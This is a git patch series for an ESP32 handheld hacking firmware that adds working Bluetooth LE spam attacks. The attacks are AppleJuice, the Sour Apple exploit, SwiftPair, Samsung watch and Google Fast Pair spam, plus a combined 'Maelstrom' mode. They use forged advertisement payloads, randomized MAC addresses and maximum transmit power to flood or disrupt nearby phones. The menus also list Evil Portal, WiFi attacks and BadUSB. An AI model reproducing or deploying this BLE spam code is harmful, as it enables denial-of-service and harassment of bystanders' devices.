From 0fb40b606553e527dfd0b8d65b34acdfaa388502 Mon Sep 17 00:00:00 2001
From: Pirata <bmorcelli@gmail.com>
Date: Wed, 15 May 2024 17:14:59 -0300
Subject: [PATCH 1/2] BLE Alt

---
 platformio.ini   |   7 +-
 src/ble_spam.cpp | 378 ++++++++++++++++++++++++++++++++++++++++++-----
 src/ble_spam.h   |   3 +-
 src/main.cpp     |   5 +-
 4 files changed, 348 insertions(+), 45 deletions(-)

diff --git a/platformio.ini b/platformio.ini
index b441a173c..c8e118cb9 100644
--- a/platformio.ini
+++ b/platformio.ini
@@ -13,7 +13,7 @@ default_envs =
 	m5stack-cplus1_1
 	m5stack-cplus2
 	m5stack-cardputer
-	m5stack-c
+	;m5stack-c
 
 [common]
 build_flags = 
@@ -28,6 +28,7 @@ lib_deps =
 	Time
 	LibSSH-ESP32
 	PCA9554
+	h2zero/NimBLE-Arduino @ ^1.4.1
 
 [env:m5stack-cplus2]
 platform = espressif32
@@ -94,7 +95,6 @@ build_flags =
 	-DGROVE_SCL=33
 lib_deps = 
 	${common.lib_deps}
-	xylopyrographer/LiteLED@^1.2.0
 
 [env:m5stack-cplus1_1]
 platform = espressif32
@@ -154,7 +154,6 @@ build_flags =
 lib_deps = 
 	https://github.com/tanakamasayuki/I2C_AXP192
 	${common.lib_deps}
-	xylopyrographer/LiteLED@^1.2.0
 
 [env:m5stack-cardputer]
 platform = espressif32
@@ -260,7 +259,6 @@ build_flags =
 	-DGROVE_SCL=33
 lib_deps = 
 	${common.lib_deps}
-	xylopyrographer/LiteLED@^1.2.0
 
 [env:m5stack-c-test]
 platform = espressif32
@@ -320,4 +318,3 @@ build_flags =
 	-DGROVE_SCL=33
 lib_deps = 
 	${common.lib_deps}
-	xylopyrographer/LiteLED@^1.2.0
diff --git a/src/ble_spam.cpp b/src/ble_spam.cpp
index d4dafd412..fa33b0335 100644
--- a/src/ble_spam.cpp
+++ b/src/ble_spam.cpp
@@ -1,8 +1,44 @@
-#include <BLEDevice.h>
+
+#include "ble_spam.h"
 #include "display.h"
 #include "mykeyboard.h"
 #include "globals.h"
 
+extern "C" {
+  uint8_t esp_base_mac_addr[6];
+  esp_err_t esp_ble_gap_set_rand_addr(const uint8_t *rand_addr);
+}
+
+struct BLEData
+{
+  NimBLEAdvertisementData AdvData;
+  NimBLEAdvertisementData ScanData;
+};
+
+struct WatchModel
+{
+    uint8_t value;
+    const char *name;
+};
+
+//WatchModel* watch_models = nullptr;
+
+struct mac_addr {
+   unsigned char bytes[6];
+};
+
+struct Station {
+  uint8_t mac[6];
+  bool selected;
+};
+enum EBLEPayloadType
+{
+  Microsoft,
+  Apple,
+  Samsung,
+  Google
+};
+
 // globals for passing bluetooth info between routines
 // AppleJuice Payload Data 
 uint8_t Airpods[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x02, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
@@ -35,6 +71,9 @@ uint8_t SetupNewPhone[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x0
 uint8_t TransferNumber[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x02, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00};
 uint8_t TVColorBalance[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x1e, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00};
 uint8_t AppleVisionPro[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x24, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00};
+
+uint8_t Airpods_AppleTV[54] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x02, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x06, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00};
+
 uint8_t* data;
 int deviceType = 0; 
 
@@ -245,6 +284,34 @@ DeviceType android_models[] = {
     {0x92ADC9, "Ton Upgrade Netflix"},
 };
 
+WatchModel watch_models[26] = {
+  {0x1A, "Fallback Watch"},
+  {0x01, "White Watch4 Classic 44m"},
+  {0x02, "Black Watch4 Classic 40m"},
+  {0x03, "White Watch4 Classic 40m"},
+  {0x04, "Black Watch4 44mm"},
+  {0x05, "Silver Watch4 44mm"},
+  {0x06, "Green Watch4 44mm"},
+  {0x07, "Black Watch4 40mm"},
+  {0x08, "White Watch4 40mm"},
+  {0x09, "Gold Watch4 40mm"},
+  {0x0A, "French Watch4"},
+  {0x0B, "French Watch4 Classic"},
+  {0x0C, "Fox Watch5 44mm"},
+  {0x11, "Black Watch5 44mm"},
+  {0x12, "Sapphire Watch5 44mm"},
+  {0x13, "Purpleish Watch5 40mm"},
+  {0x14, "Gold Watch5 40mm"},
+  {0x15, "Black Watch5 Pro 45mm"},
+  {0x16, "Gray Watch5 Pro 45mm"},
+  {0x17, "White Watch5 44mm"},
+  {0x18, "White & Black Watch5"},
+  {0x1B, "Black Watch6 Pink 40mm"},
+  {0x1C, "Gold Watch6 Gold 40mm"},
+  {0x1D, "Silver Watch6 Cyan 44mm"},
+  {0x1E, "Black Watch6 Classic 43m"},
+  {0x20, "Green Watch6 Classic 43m"},
+};
 
 const char* generateRandomName() {
   const char* charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
@@ -257,23 +324,262 @@ const char* generateRandomName() {
   return randomName;
 }
 
+void generateRandomMac(uint8_t* mac) {
+  // Set the locally administered bit and unicast bit for the first byte
+  mac[0] = 0x02; // The locally administered bit is the second least significant bit
+
+  // Generate the rest of the MAC address
+  for (int i = 1; i < 6; i++) {
+    mac[i] = random(0, 255);
+  }
+}
+
 int android_models_count = (sizeof(android_models) / sizeof(android_models[0]));
 
+//ESP32 Sour Apple by RapierXbox
+//Exploit by ECTO-1A
+NimBLEAdvertising *pAdvertising;
+
+//// https://github.com/Spooks4576
+NimBLEAdvertisementData GetUniversalAdvertisementData(EBLEPayloadType Type) {
+  NimBLEAdvertisementData AdvData = NimBLEAdvertisementData();
+
+  uint8_t* AdvData_Raw = nullptr;
+  uint8_t i = 0;
+
+  switch (Type) {
+    case Microsoft: {
+      
+      const char* Name = generateRandomName();
+
+      uint8_t name_len = strlen(Name);
+
+      AdvData_Raw = new uint8_t[7 + name_len];
+
+      AdvData_Raw[i++] = 7 + name_len - 1;
+      AdvData_Raw[i++] = 0xFF;
+      AdvData_Raw[i++] = 0x06;
+      AdvData_Raw[i++] = 0x00;
+      AdvData_Raw[i++] = 0x03;
+      AdvData_Raw[i++] = 0x00;
+      AdvData_Raw[i++] = 0x80;
+      memcpy(&AdvData_Raw[i], Name, name_len);
+      i += name_len;
+
+      AdvData.addData(std::string((char *)AdvData_Raw, 7 + name_len));
+      break;
+    }
+    case Apple: {
+      AdvData_Raw = new uint8_t[17];
+
+      AdvData_Raw[i++] = 17 - 1;    // Packet Length
+      AdvData_Raw[i++] = 0xFF;        // Packet Type (Manufacturer Specific)
+      AdvData_Raw[i++] = 0x4C;        // Packet Company ID (Apple, Inc.)
+      AdvData_Raw[i++] = 0x00;        // ...
+      AdvData_Raw[i++] = 0x0F;  // Type
+      AdvData_Raw[i++] = 0x05;                        // Length
+      AdvData_Raw[i++] = 0xC1;                        // Action Flags
+      //const uint8_t types[] = { 0x27, 0x09, 0x02, 0x1e, 0x2b, 0x2d, 0x2f, 0x01, 0x06, 0x20, 0xc0 };
+      //AdvData_Raw[i++] = types[rand() % sizeof(types)];  // Action Type
+      AdvData_Raw[i++] = data[rand() % sizeof(data)];  // Action Type
+      esp_fill_random(&AdvData_Raw[i], 3); // Authentication Tag
+      i += 3;   
+      AdvData_Raw[i++] = 0x00;  // ???
+      AdvData_Raw[i++] = 0x00;  // ???
+      AdvData_Raw[i++] =  0x10;  // Type ???
+      esp_fill_random(&AdvData_Raw[i], 3);
+
+      AdvData.addData(std::string((char *)AdvData_Raw, 17));
+      break;
+    }
+    case Samsung: {
+
+      AdvData_Raw = new uint8_t[15];
+
+      uint8_t model = watch_models[rand() % 25].value;
+      
+      AdvData_Raw[i++] = 14; // Size
+      AdvData_Raw[i++] = 0xFF; // AD Type (Manufacturer Specific)
+      AdvData_Raw[i++] = 0x75; // Company ID (Samsung Electronics Co. Ltd.)
+      AdvData_Raw[i++] = 0x00; // ...
+      AdvData_Raw[i++] = 0x01;
+      AdvData_Raw[i++] = 0x00;
+      AdvData_Raw[i++] = 0x02;
+      AdvData_Raw[i++] = 0x00;
+      AdvData_Raw[i++] = 0x01;
+      AdvData_Raw[i++] = 0x01;
+      AdvData_Raw[i++] = 0xFF;
+      AdvData_Raw[i++] = 0x00;
+      AdvData_Raw[i++] = 0x00;
+      AdvData_Raw[i++] = 0x43;
+      AdvData_Raw[i++] = (model >> 0x00) & 0xFF; // Watch Model / Color (?)
+
+      AdvData.addData(std::string((char *)AdvData_Raw, 15));
+
+      break;
+    }
+    case Google: {
+      AdvData_Raw = new uint8_t[14];
+      AdvData_Raw[i++] = 3;
+      AdvData_Raw[i++] = 0x03;
+      AdvData_Raw[i++] = 0x2C; // Fast Pair ID
+      AdvData_Raw[i++] = 0xFE;
+
+      AdvData_Raw[i++] = 6;
+      AdvData_Raw[i++] = 0x16;
+      AdvData_Raw[i++] = 0x2C; // Fast Pair ID
+      AdvData_Raw[i++] = 0xFE;
+
+      const uint32_t model = android_models[rand() % android_models_count].value; // Action Type
+      AdvData_Raw[i++] = (model >> 0x10) & 0xFF;
+      AdvData_Raw[i++] = (model >> 0x08) & 0xFF;
+      AdvData_Raw[i++] = (model >> 0x00) & 0xFF;
+
+      //AdvData_Raw[i++] = 0x00; // Smart Controller Model ID
+      //AdvData_Raw[i++] = 0xB7;
+      //AdvData_Raw[i++] = 0x27;
+
+      AdvData_Raw[i++] = 2;
+      AdvData_Raw[i++] = 0x0A;
+      AdvData_Raw[i++] = (rand() % 120) - 100; // -100 to +20 dBm
+
+      AdvData.addData(std::string((char *)AdvData_Raw, 14));
+      break;
+    }
+    default: {
+      Serial.println("Please Provide a Company Type");
+      break;
+    }
+  }
+
+  delete[] AdvData_Raw;
+
+  return AdvData;
+}
+  //// https://github.com/Spooks4576
+
+
+void executeSourApple() {
+    uint8_t macAddr[6];
+    generateRandomMac(macAddr);
+    esp_base_mac_addr_set(macAddr);
+    NimBLEDevice::init("");
+    NimBLEServer *pServer = NimBLEDevice::createServer();
+
+    pAdvertising = pServer->getAdvertising();
+    esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_DEFAULT, ESP_PWR_LVL_P9); 
+    esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_ADV, ESP_PWR_LVL_P9);
+    esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_SCAN ,ESP_PWR_LVL_P9);
+    delay(40);
+    //NimBLEAdvertisementData advertisementData = getOAdvertisementData();
+    NimBLEAdvertisementData advertisementData = GetUniversalAdvertisementData(Apple);
+    pAdvertising->setAdvertisementData(advertisementData);
+    pAdvertising->start();
+    delay(20);
+    pAdvertising->stop();
+}
+
+void executeSwiftpairSpam(EBLEPayloadType type) {
+    uint8_t macAddr[6];
+    generateRandomMac(macAddr);
+    esp_base_mac_addr_set(macAddr);
+
+    NimBLEDevice::init("");
+
+    NimBLEServer *pServer = NimBLEDevice::createServer();
+    esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_DEFAULT, ESP_PWR_LVL_P9); 
+    esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_ADV, ESP_PWR_LVL_P9);
+    esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_SCAN ,ESP_PWR_LVL_P9);
+
+    pAdvertising = pServer->getAdvertising();
+
+    //NimBLEAdvertisementData advertisementData = getSwiftAdvertisementData();
+    NimBLEAdvertisementData advertisementData = GetUniversalAdvertisementData(type);
+    pAdvertising->setAdvertisementData(advertisementData);
+    pAdvertising->start();
+    delay(10);
+    pAdvertising->stop();
+
+    NimBLEDevice::deinit();
+}
+
+void aj_adv(int ble_choice){
+
+  if (ble_choice==5) data = Airpods_AppleTV;
+  int mael = 0;
+  int timer = 0;
+  int count = 0;
+  timer = millis();
+  while(1) {
+    if(millis()-timer >1000) {
+
+      switch(ble_choice){
+        case 0: // Applejuice
+          data = Airpods;
+          displayRedStripe("Applejuice (" + String(count) + ")",TFT_WHITE,FGCOLOR);
+          executeSourApple();
+          break;
+        case 1: // SwiftPair
+          displayRedStripe("SwiftPair  (" + String(count) + ")",TFT_WHITE,FGCOLOR);
+          executeSwiftpairSpam(Microsoft);
+          break;
+        case 2: // Samsung
+          displayRedStripe("Samsung  (" + String(count) + ")",TFT_WHITE,FGCOLOR);
+          executeSwiftpairSpam(Samsung);
+          break;
+        case 3: // Sour Apple
+          data = AppleTVPair;
+          displayRedStripe("SourApple  (" + String(count) + ")",TFT_WHITE,FGCOLOR);
+          executeSourApple();
+          break;
+        case 4: // Android
+          displayRedStripe("Android  (" + String(count) + ")",TFT_WHITE,FGCOLOR);
+          executeSwiftpairSpam(Google);
+          break;
+        case 5: // Tutti-frutti
+          displayRedStripe("Maelstrom  (" + String(count) + ")",TFT_WHITE,FGCOLOR);
+          if(mael == 0) executeSwiftpairSpam(Google);
+          if(mael == 1) executeSwiftpairSpam(Samsung);
+          if(mael == 2) executeSwiftpairSpam(Microsoft);
+          if(mael == 3) {
+            executeSourApple();
+            mael = 0;
+          } 
+          break;
+      }
+      count++;
+      timer = millis();
+    }
+
+    if(checkEscPress()) { 
+      returnToMenu=true;
+      break;
+    }
+  }
+}
+
+
+
+
+
+
+
+
+
+
+
+/*
+
 BLEAdvertisementData oAdvertisementData = BLEAdvertisementData();
 BLEAdvertising *pAdvertising;
 
 
-/**********************************************************************
-**  Function: aj_adv                                     
-**  spams BLE from choice                                
-**********************************************************************/
+//*********************************************************************
+//  Function: aj_adv                                     
+//  spams BLE from choice                                
+//********************************************************************
 void aj_adv(int ble_choice){
 
-  BLEDevice::init("");
-  BLEServer *pServer = BLEDevice::createServer();
-  pAdvertising = pServer->getAdvertising();
-  BLEAdvertisementData oAdvertisementData = BLEAdvertisementData();
-
   tft.fillScreen(TFT_BLACK);
   bool rstOverride = true;
   bool swiftPair;
@@ -314,9 +620,16 @@ void aj_adv(int ble_choice){
   int tmp = 0;
   tmp=millis();
   for(;;){
-      pAdvertising->stop(); // This is placed here mostly for timing.
-                            // It allows the BLE beacon to run through the loop.
+    if(millis()-tmp>1000) {
+      uint8_t macAddr[6];
+      generateRandomMac(macAddr);
+      esp_base_mac_addr_set(macAddr);
+
+      BLEDevice::init("");
+      BLEServer *pServer = BLEDevice::createServer();
+      pAdvertising = pServer->getAdvertising();
       BLEAdvertisementData oAdvertisementData = BLEAdvertisementData();
+
       if (sourApple){
         Serial.print("advertising");
         // Some code borrowed from RapierXbox/ESP32-Sour-Apple
@@ -414,38 +727,27 @@ void aj_adv(int ble_choice){
       
       pAdvertising->setAdvertisementData(oAdvertisementData);
       pAdvertising->start();
-  #if defined(M5LED)
-      digitalWrite(M5LED, M5LED_ON); //LED ON on Stick C Plus
+      delay(100);
+  #if defined(LED)
+      digitalWrite(LED, LED_ON); //LED ON on Stick C Plus
       delay(10);
-      digitalWrite(M5LED, M5LED_OFF); //LED OFF on Stick C Plus
+      digitalWrite(LED, LED_OFF); //LED OFF on Stick C Plus
   #endif
 
-      if(millis()-tmp>1000) {
-        tft.setCursor(0,0);
-        tft.setTextColor(TFT_WHITE, BGCOLOR);
-        tft.setTextSize(2);
-        tft.print("Packets: " + String(count) + "/s");
-        count=0;
-        tmp=millis();
-      }
-
-    if (checkSelPress()) {
+      
+      tft.setCursor(0,0);
+      tft.setTextColor(TFT_WHITE, BGCOLOR);
+      tft.setTextSize(2);
+      tft.print("Packets: " + String(count) + "/s");
+      count=0;
+      tmp=millis();
 
-      sourApple = false;
-      swiftPair = false;
-      maelstrom = false;
       pAdvertising->stop(); // Bug that keeps advertising in the background. Oops.
       BLEDevice::deinit();
-      delay(250);
-    }
-      // Checks para sair do while
-      #ifndef CARDPUTER
-        if(checkPrevPress()) break; // Apertar o botão power dos sticks
-      #else
-        Keyboard.update();
-        if(Keyboard.isKeyPressed('`')) break; // Apertar o ESC do cardputer
-      #endif
 
+    }
+    // Checks para sair do while
+    if(checkEscPress()) break;
   }
   pAdvertising->stop(); // Bug that keeps advertising in the background. Oops.
   BLEDevice::deinit();
@@ -453,3 +755,5 @@ void aj_adv(int ble_choice){
   tft.fillScreen(TFT_BLACK);
   returnToMenu=true;
 }
+
+*/
\ No newline at end of file
diff --git a/src/ble_spam.h b/src/ble_spam.h
index 4c5cd0507..733c3e362 100644
--- a/src/ble_spam.h
+++ b/src/ble_spam.h
@@ -1,4 +1,5 @@
-
+#include <NimBLEDevice.h>
+//#include <BLEDevice.h>
 
 void aj_adv_setup();
 
diff --git a/src/main.cpp b/src/main.cpp
index 6807324fc..37228c96d 100644
--- a/src/main.cpp
+++ b/src/main.cpp
@@ -191,9 +191,10 @@ void loop() {
           options = {
             {"AppleJuice", [=]()   { aj_adv(0); }},
             {"SwiftPair", [=]()    { aj_adv(1); }},
-            {"Android Spam", [=]() { aj_adv(2);}},
+            {"Samsung Spam", [=]() { aj_adv(2);}},
             {"SourApple", [=]()    { aj_adv(3); }},
-            {"BT Maelstrom", [=]() { aj_adv(4); }},
+            {"Android Spam", [=]() { aj_adv(4); }},
+            {"BT Maelstrom", [=]() { aj_adv(5); }},
             {"Main Menu", [=]()    { backToMenu(); }},
           };
           delay(200);

From 0f92c725ec93a2f4ed72f465e1f0ec33769854cf Mon Sep 17 00:00:00 2001
From: Pirata <bmorcelli@gmail.com>
Date: Wed, 15 May 2024 18:17:59 -0300
Subject: [PATCH 2/2] BLE, checkEscPress, Boot

---
 platformio.ini       |  6 +++---
 src/TV-B-Gone.cpp    | 10 +++------
 src/ble_spam.cpp     |  5 -----
 src/display.cpp      |  3 +--
 src/main.cpp         | 51 ++++++++++++++++++++++++++++----------------
 src/mykeyboard.cpp   |  8 +++----
 src/rfid.cpp         | 10 +--------
 src/sd_functions.cpp |  3 +--
 src/tururururu.cpp   | 14 +++---------
 src/wifi_atks.cpp    | 15 +++----------
 10 files changed, 51 insertions(+), 74 deletions(-)

diff --git a/platformio.ini b/platformio.ini
index c8e118cb9..bac0a6178 100644
--- a/platformio.ini
+++ b/platformio.ini
@@ -55,7 +55,7 @@ build_flags =
 	-DWIDTH=240
 	-DHEIGHT=135
 	-DBACKLIGHT=27
-	-DMINBRIGHT=190
+	-DMINBRIGHT=80
 	
 	-DLED=19
 	-DLED_ON=HIGH
@@ -174,7 +174,7 @@ build_flags =
 	-DWIDTH=240
 	-DHEIGHT=135
 	-DBACKLIGHT=38
-	-DMINBRIGHT=165
+	-DMINBRIGHT=80
 	-DMAX_MENU_SIZE=5
 	
 	-DFP=1
@@ -287,7 +287,7 @@ build_flags =
 	-DLED_ON=HIGH
 	-DLED_OFF=LOW
 	-DBACKLIGHT=38
-	-DMINBRIGHT=165
+	-DMINBRIGHT=80
 	-DMAX_MENU_SIZE=5
 	-DUSER_SETUP_LOADED=1
 	-DST7789_2_DRIVER=1
diff --git a/src/TV-B-Gone.cpp b/src/TV-B-Gone.cpp
index cb1f98b33..f19973d07 100644
--- a/src/TV-B-Gone.cpp
+++ b/src/TV-B-Gone.cpp
@@ -128,14 +128,10 @@ void sendAllCodes()
       displayRedStripe("Paused", TFT_WHITE, BGCOLOR);
 
       while (!checkSelPress()){ // Se apertar Select denovo, continua
-        #ifndef CARDPUTER
-        if(checkPrevPress()) { // Cancela o TV-B-Gone
-            endingEarly = true;
-            break;
+        if(checkEscPress()) { 
+          endingEarly= true;
+          break;
         }
-        #else
-        if(Keyboard.isKeyPressed('`')) break;; // apertar ESC no Cardputer // Cancela o TV-B-Gone
-        #endif
       }
       while (checkSelPress()){
         yield();
diff --git a/src/ble_spam.cpp b/src/ble_spam.cpp
index fa33b0335..55888f644 100644
--- a/src/ble_spam.cpp
+++ b/src/ble_spam.cpp
@@ -467,9 +467,7 @@ void executeSourApple() {
     NimBLEServer *pServer = NimBLEDevice::createServer();
 
     pAdvertising = pServer->getAdvertising();
-    esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_DEFAULT, ESP_PWR_LVL_P9); 
     esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_ADV, ESP_PWR_LVL_P9);
-    esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_SCAN ,ESP_PWR_LVL_P9);
     delay(40);
     //NimBLEAdvertisementData advertisementData = getOAdvertisementData();
     NimBLEAdvertisementData advertisementData = GetUniversalAdvertisementData(Apple);
@@ -487,10 +485,7 @@ void executeSwiftpairSpam(EBLEPayloadType type) {
     NimBLEDevice::init("");
 
     NimBLEServer *pServer = NimBLEDevice::createServer();
-    esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_DEFAULT, ESP_PWR_LVL_P9); 
     esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_ADV, ESP_PWR_LVL_P9);
-    esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_SCAN ,ESP_PWR_LVL_P9);
-
     pAdvertising = pServer->getAdvertising();
 
     //NimBLEAdvertisementData advertisementData = getSwiftAdvertisementData();
diff --git a/src/display.cpp b/src/display.cpp
index 2e4971530..6bb9775bd 100644
--- a/src/display.cpp
+++ b/src/display.cpp
@@ -167,8 +167,7 @@ void loopOptions(const std::vector<std::pair<std::string, std::function<void()>>
     }
 
     #ifdef CARDPUTER
-    Keyboard.update();
-    if(Keyboard.isKeyPressed('`')) break;
+    if(checkEscPress()) break;
     #endif
   }
   delay(200);
diff --git a/src/main.cpp b/src/main.cpp
index 37228c96d..4d6616d92 100644
--- a/src/main.cpp
+++ b/src/main.cpp
@@ -100,11 +100,25 @@ void setup() {
   #endif
 
   getBrightness();  
-  sprite.createSprite(WIDTH-15,HEIGHT-15);
   //Start Bootscreen timer
   int i = millis();
-  while(millis()<i+5000) { // boot image lasts for 5 secs
-    initDisplay(millis()-i);         // show boot screen
+  setBrightness(0,false);
+  sprite.createSprite(WIDTH, HEIGHT);
+  menu_op.createSprite(WIDTH, HEIGHT);
+  sprite.drawXBitmap(1,1,bits, bits_width, bits_height,TFT_BLACK,TFT_WHITE);
+  menu_op.drawXBitmap(1,1,bits, bits_width, bits_height,TFT_BLACK,TFT_RED);
+  sprite.pushSprite(0,0);
+  while(millis()<i+10000) { // boot image lasts for 5 secs
+    if(millis()-i<4000) {
+      setBrightness((millis()-i)/40);
+    }
+    if((millis()-i>2000) && (millis()-i)<2500) tft.fillScreen(TFT_BLACK);
+    if((millis()-i>2500) && (millis()-i)<2700) sprite.pushSprite(0,0);
+    if((millis()-i>2700) && (millis()-i)<2900) tft.fillScreen(TFT_BLACK);
+    if((millis()-i>3100) && (millis()-i)<3300) sprite.pushSprite(0,0);
+    if((millis()-i>3300) && (millis()-i)<3700) tft.fillScreen(TFT_BLACK); 
+    if((millis()-i>3700)) menu_op.pushSprite(0,0);
+    
   
   #if defined (CARDPUTER)   // If any key is pressed, it'll jump the boot screen
     Keyboard.update();
@@ -121,6 +135,10 @@ void setup() {
   
   // If M5 or Enter button is pressed, continue from here
   Program:
+  sprite.deleteSprite();
+  menu_op.deleteSprite();
+  sprite.createSprite(WIDTH-15,HEIGHT-15);
+  getBrightness();
   delay(200);
 
 }
@@ -171,7 +189,7 @@ void loop() {
             };
           } else {
             options = {
-              {"Disconnect Wifi", [=]()  { wifiDisconnect(); }},    //wifi_common.h
+              {"Disconnect", [=]()  { wifiDisconnect(); }},    //wifi_common.h
             };
           }
           options.push_back({"Wifi Atks", [=]()     { wifi_atk_menu(); }});
@@ -181,11 +199,10 @@ void loop() {
           options.push_back({"DPWO-ESP32", [=]()    { dpwo_setup(); }});
           options.push_back({"Evil Portal", [=]()   { startEvilPortal(); }});
           options.push_back({"ARP Scan", [=]()      { local_scan_setup(); }});
-          options.push_back({"Wireguard Tun", [=]() { wg_setup(); }});
+          options.push_back({"Wireguard", [=]() { wg_setup(); }});
           options.push_back({"Main Menu", [=]()     { backToMenu(); }});
           delay(200);
           loopOptions(options,false,true,"WiFi");
-          // delay(1000); // remover depois, está aqui só por causa do "displayRedStripe"
           break;
         case 1: // BLE
           options = {
@@ -199,7 +216,6 @@ void loop() {
           };
           delay(200);
           loopOptions(options,false,true,"Bluetooth");
-          delay(1000); // remover depois, está aqui só por causa do "displayRedStripe"
           break;
         case 2: // RF
           options = {
@@ -215,35 +231,33 @@ void loop() {
         case 3: // RFID
           options = {
             {"Scan/copy", [=]()   { rfid_setup(); }}, //@IncursioHack
-            {"Replay", [=]()      { displayRedStripe("Replay"); }},
+            //{"Replay", [=]()      { displayRedStripe("Replay"); }},
             {"Main Menu", [=]()   { backToMenu(); }},
           };
           delay(200);
           loopOptions(options,false,true,"RFID");
-          //delay(1000); // remover depois, está aqui só por causa do "displayRedStripe"
           break;
         case 4: //Other
           options = {
-            {"TV-B-Gone", [=]()  { StartTvBGone(); }},
-            {"SD Card", [=]()   { loopSD(); }},
-            {"WebUI", [=]()     { loopOptionsWebUi(); }},
+            {"TV-B-Gone", [=]()     { StartTvBGone(); }},
+            {"SD Card", [=]()       { loopSD(); }},
+            {"WebUI", [=]()         { loopOptionsWebUi(); }},
             {"Megalodon", [=]()     { shark_setup(); }},            
           };
           if(sdcardMounted) options.push_back({"Custom IR", [=]()  { otherIRcodes(); }});
           #ifdef CARDPUTER
-          options.push_back({"BadUSB", [=]() { usb_setup(); }});
-          options.push_back({"LED Control", [=]() { ledrgb_setup(); }}); //IncursioHack
-          options.push_back({"LED FLash", [=]() { ledrgb_flash(); }}); // IncursioHack                   
+          options.push_back({"BadUSB", [=]()        { usb_setup(); }});
+          options.push_back({"LED Control", [=]()   { ledrgb_setup(); }}); //IncursioHack
+          options.push_back({"LED FLash", [=]()     { ledrgb_flash(); }}); // IncursioHack                   
           #endif
-          options.push_back({"Openhaystack", [=]() { openhaystack_setup(); }});
+          options.push_back({"Openhaystack", [=]()  { openhaystack_setup(); }});
           options.push_back({"Main Menu", [=]()     { backToMenu(); }});
           delay(200);
           loopOptions(options,false,true,"Others");
-          delay(1000); // remover depois, está aqui só por causa do "displayRedStripe"
           break;
         case 5: //Config
           options = {
-            {"Brightness", [=]()  { setBrightnessMenu(); }},          //settings.h
+            {"Brightness", [=]()  { setBrightnessMenu(); }},              //settings.h
             {"Orientation", [=]() { gsetRotation(true); }},               //settings.h
             {"Main Menu", [=]()   { backToMenu(); }},
             {"Restart", [=]()     { ESP.restart(); }},
@@ -257,3 +271,4 @@ void loop() {
     }
   }
 }
+
diff --git a/src/mykeyboard.cpp b/src/mykeyboard.cpp
index 04757aaa2..14a05dd26 100644
--- a/src/mykeyboard.cpp
+++ b/src/mykeyboard.cpp
@@ -52,13 +52,11 @@ bool checkEscPress(){
     Keyboard.update();
     if(Keyboard.isKeyPressed('`'))
   #endif
- { 
+  { 
      returnToMenu=true;
-
-
      return true; 
-}
-else { return false; }
+  }
+  else { return false; }
 }
 
 #ifndef STICK_C
diff --git a/src/rfid.cpp b/src/rfid.cpp
index e89d063ec..a37f350c3 100644
--- a/src/rfid.cpp
+++ b/src/rfid.cpp
@@ -100,18 +100,10 @@ void rfid_loop() {
         }
      }
     // Checks para sair do while
-    #ifndef CARDPUTER
-    if(checkPrevPress()) { // Apertar o botão power dos sticks
+    if(checkEscPress()) {
       tft.fillScreen(BGCOLOR);
       goto Exit;
     }
-    #else
-    Keyboard.update();
-    if(Keyboard.isKeyPressed('`')) {
-      tft.fillScreen(BGCOLOR);
-      goto Exit;
-    }   // apertar ESC no Cardputer
-    #endif
 
     }
     Exit:
diff --git a/src/sd_functions.cpp b/src/sd_functions.cpp
index 306a17899..d12c91c18 100644
--- a/src/sd_functions.cpp
+++ b/src/sd_functions.cpp
@@ -464,8 +464,7 @@ String loopSD(bool filePicker) {
     }
 
     #ifdef CARDPUTER
-      Keyboard.update();
-      if(Keyboard.isKeyPressed('`')) break;
+      if(checkEscPress()) break;
     #endif
   }
   return result;
diff --git a/src/tururururu.cpp b/src/tururururu.cpp
index b690e7388..13b818dfb 100644
--- a/src/tururururu.cpp
+++ b/src/tururururu.cpp
@@ -172,18 +172,10 @@ void shark_loop() {
             score++;
         }
 
-    #ifndef CARDPUTER
-        if(checkPrevPress()) { // Apertar o botão power dos sticks
-        returnToMenu=true;
-        goto Exit;
+        if(checkEscPress()) {
+            returnToMenu=true;
+            goto Exit;
         }
-    #else
-        Keyboard.update();
-        if(Keyboard.isKeyPressed('`')) {
-        returnToMenu=true;
-        goto Exit;
-        }   // apertar ESC no Cardputer
-    #endif
     }
 
     Exit:
diff --git a/src/wifi_atks.cpp b/src/wifi_atks.cpp
index 508db4684..46464f824 100644
--- a/src/wifi_atks.cpp
+++ b/src/wifi_atks.cpp
